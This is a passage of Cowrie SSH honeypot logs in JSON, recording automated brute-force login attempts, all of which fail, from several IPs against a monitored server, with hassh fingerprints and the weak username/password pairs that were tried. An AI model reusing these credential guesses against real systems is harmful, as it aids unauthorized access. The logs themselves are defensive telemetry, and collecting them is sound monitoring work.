-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:01.243089Z","src_ip":"193.32.162.151","session":"457c6b23c9b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nadiah","password":"nadiah","message":"login attempt [nadiah/nadiah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:01.798079Z","src_ip":"193.32.162.151","session":"457c6b23c9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:02.905860Z","src_ip":"193.32.162.151","session":"457c6b23c9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45292,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3a10c93b24c","protocol":"ssh","message":"New connection: 80.94.92.186:45292 (10.17.0.5:22) [session: b3a10c93b24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:15.407548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:15.508782Z","src_ip":"80.94.92.186","session":"b3a10c93b24c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:15.616879Z","src_ip":"80.94.92.186","session":"b3a10c93b24c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:16.570310Z","src_ip":"80.94.92.186","session":"b3a10c93b24c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:17.937225Z","src_ip":"80.94.92.186","session":"b3a10c93b24c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46634,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1be80870457","protocol":"ssh","message":"New connection: 195.178.110.218:46634 (159.203.135.109:22) [session: a1be80870457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:26.446170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:26.450982Z","src_ip":"195.178.110.218","session":"a1be80870457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:26.530658Z","src_ip":"195.178.110.218","session":"a1be80870457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:26.769367Z","src_ip":"195.178.110.218","session":"a1be80870457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:27.851597Z","src_ip":"195.178.110.218","session":"a1be80870457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59974,"dst_ip":"10.17.0.5","dst_port":22,"session":"08192189ba21","protocol":"ssh","message":"New connection: 2.57.122.208:59974 (10.17.0.5:22) [session: 08192189ba21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:10.910877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:10.969056Z","src_ip":"2.57.122.208","session":"08192189ba21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:11.110600Z","src_ip":"2.57.122.208","session":"08192189ba21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:11.720265Z","src_ip":"2.57.122.208","session":"08192189ba21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:12.909293Z","src_ip":"2.57.122.208","session":"08192189ba21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34802,"dst_ip":"159.203.135.109","dst_port":22,"session":"47acd955030e","protocol":"ssh","message":"New connection: 193.32.162.151:34802 (159.203.135.109:22) [session: 47acd955030e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:20.499714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:20.505024Z","src_ip":"193.32.162.151","session":"47acd955030e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:20.613216Z","src_ip":"193.32.162.151","session":"47acd955030e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nadiah","password":"12345678","message":"login attempt [nadiah/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:21.134214Z","src_ip":"193.32.162.151","session":"47acd955030e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:22.253706Z","src_ip":"193.32.162.151","session":"47acd955030e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.239.4","src_port":61000,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ec6a3a9e51","protocol":"ssh","message":"New connection: 213.21.239.4:61000 (10.17.0.5:22) [session: e2ec6a3a9e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:32.889268Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:45:32.993020Z","src_ip":"213.21.239.4","session":"e2ec6a3a9e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35268,"dst_ip":"159.203.135.109","dst_port":22,"session":"4322f92a4058","protocol":"ssh","message":"New connection: 195.178.110.218:35268 (159.203.135.109:22) [session: 4322f92a4058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:03.704954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:03.709308Z","src_ip":"195.178.110.218","session":"4322f92a4058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:03.789155Z","src_ip":"195.178.110.218","session":"4322f92a4058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:04.030845Z","src_ip":"195.178.110.218","session":"4322f92a4058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:05.113010Z","src_ip":"195.178.110.218","session":"4322f92a4058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47980,"dst_ip":"10.17.0.5","dst_port":22,"session":"aae576e6920f","protocol":"ssh","message":"New connection: 80.94.92.186:47980 (10.17.0.5:22) [session: aae576e6920f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:34.957492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:35.093827Z","src_ip":"80.94.92.186","session":"aae576e6920f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:35.098024Z","src_ip":"80.94.92.186","session":"aae576e6920f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:36.803076Z","src_ip":"80.94.92.186","session":"aae576e6920f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:46:38.335351Z","src_ip":"80.94.92.186","session":"aae576e6920f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34666,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fdc6fe4685","protocol":"ssh","message":"New connection: 2.57.122.208:34666 (10.17.0.5:22) [session: 69fdc6fe4685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:19.348132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:19.451873Z","src_ip":"2.57.122.208","session":"69fdc6fe4685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:19.455432Z","src_ip":"2.57.122.208","session":"69fdc6fe4685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:20.632394Z","src_ip":"2.57.122.208","session":"69fdc6fe4685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:21.834482Z","src_ip":"2.57.122.208","session":"69fdc6fe4685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"54671c0c6b34","protocol":"ssh","message":"New connection: 193.32.162.151:50648 (159.203.135.109:22) [session: 54671c0c6b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:31.314231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:31.321058Z","src_ip":"193.32.162.151","session":"54671c0c6b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:47:31.431239Z","src_ip":"193.32.162.151","session":"54671c0c6b34","protocol":"ssh"}
